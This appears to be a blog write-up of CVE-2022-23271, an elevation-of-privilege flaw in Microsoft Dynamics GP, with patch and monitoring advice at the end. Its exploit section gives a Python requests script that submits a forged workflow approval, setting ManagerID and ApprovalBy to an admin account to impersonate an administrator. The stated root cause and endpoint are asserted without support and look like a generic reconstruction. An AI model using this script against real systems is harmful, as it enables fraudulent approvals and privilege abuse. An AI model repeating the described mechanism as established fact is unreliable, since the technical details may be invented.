In early 2022, security researchers and Microsoft disclosed a series of vulnerabilities affecting Microsoft Dynamics GP, an enterprise resource planning (ERP) solution popular with small to midsize businesses. Among these, CVE-2022-23271 stands out as an _Elevation of Privilege_ (EoP) vulnerability, giving attackers a pathway from standard user access to admin-level powers within affected installations. This is distinct from its close relatives: CVE-2022-23272 and CVE-2022-23273, which impact different components or arise from different root causes.

This article gives a hands-on, straightforward explanation of CVE-2022-23271: the bug, why it matters, exploitation details (with code), official references, and tips on protecting your environment.

Microsoft Dynamics GP Elevation Of Privilege Vulnerability

- CVE-ID: CVE-2022-23271

Vulnerability Description (Simple Explanation)

An attacker who already has limited user access to Dynamics GP (for example, a regular employee account) can exploit this bug to _increase their privileges_, potentially granting themselves admin rights inside the ERP application. This is particularly dangerous in environments where ERP roles control sensitive finance, payroll, and management functions.

The vulnerability exists due to improper validation of user input and group membership checks inside some workflow and approval routines.

Exploit Details

The flaw relates to how GP’s workflow engine processes certain approval requests. When an approval action is submitted, the backend does not properly validate the requester’s actual role or rights, trusting data supplied in certain parameters.

The Core Issue

Dynamics GP trusts user-supplied values for sensitive fields (such as "ManagerID" or "ApprovalBy") instead of enforcing server-side role checks. This means a user can craft a special request or manipulate requests sent from the UI to escalate their role.

Example Exploit: Crafting Malicious Approval Requests

Let’s break it down using a simplified Python example that shows how a user could exploit this bug via HTTP requests (web client deployment):

Disclaimer: For educational purposes only. Don’t use against systems you don’t own or have explicit permission to test.

import requests

# Replace with your real Dynamics GP web endpoint.
url = "https://gp.example.com/Workflow/SubmitApproval";

# Legitimate user credentials
session = requests.Session()
login_payload = {
    "username": "bob",      # Assume Bob is a normal user
    "password": "bobpass"
}

# Step 1: Log in and obtain session (mechanism depends on deployment)
# session.post("https://gp.example.com/login";, data=login_payload)

# Step 2: Craft approval with escalated ManagerID (impersonation)
exploit_payload = {
    "WorkflowID": "InvoiceApproval",
    "DocumentID": "INV-123456",
    "Action": "Approve",
    "ManagerID": "ADMIN-USER",  # Faking as admin user
    "ApprovalBy": "ADMIN-USER", # Elevate own approval as admin
    "Comments": "Approved by admin"
}

# Step 3: Submit malicious approval
response = session.post(url, data=exploit_payload)

print(f"Exploit attempt result: {response.status_code} | {response.text}")

What’s happening?
- The payload above fakes the ManagerID and ApprovalBy fields, impersonating an administrator in a request _automatically trusted_ by the backend.
- If the server fails to validate the user’s role (the core bug in CVE-2022-23271), Bob's account now gets admin-level workflow powers—or can approve documents he shouldn’t be able to.

Official References and Further Reading

- Microsoft Security Update Guide – CVE-2022-23271
- Dynamics GP February 2022 Security Updates

_Similar but independent vulnerabilities:_
- CVE-2022-23272: Different privilege escalation scenario.
- CVE-2022-23273: Separate bug, distinct impact.

Mitigation and Recommendations

- Patch as soon as possible. Microsoft has released patches as part of their February 2022 security updates. Download updates here.
- Enforce the principle of least privilege. Limit normal users’ access and audit unexpected privilege assignments.
- Monitor approval workflows for anomalies, especially after the update, to spot any suspicious role changes or approvals.

Closing Thoughts

CVE-2022-23271 is a classic example of how input validation failures in business applications can lead to high-impact security issues, even allowing regular users to become admins with a few crafted requests. If you use Dynamics GP, this cannot be ignored—patch immediately, and audit past workflow activity for signs of abuse.

Do you want more technical write-ups like this? Or have you discovered something strange in your GP logs? Let us know!


Further Reading:
- OWASP Top 10 – Broken Access Control

Original Microsoft CVE Disclosure:
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-23271

Timeline

Published on: 02/09/2022 17:15:00 UTC
Last modified on: 02/14/2022 18:34:00 UTC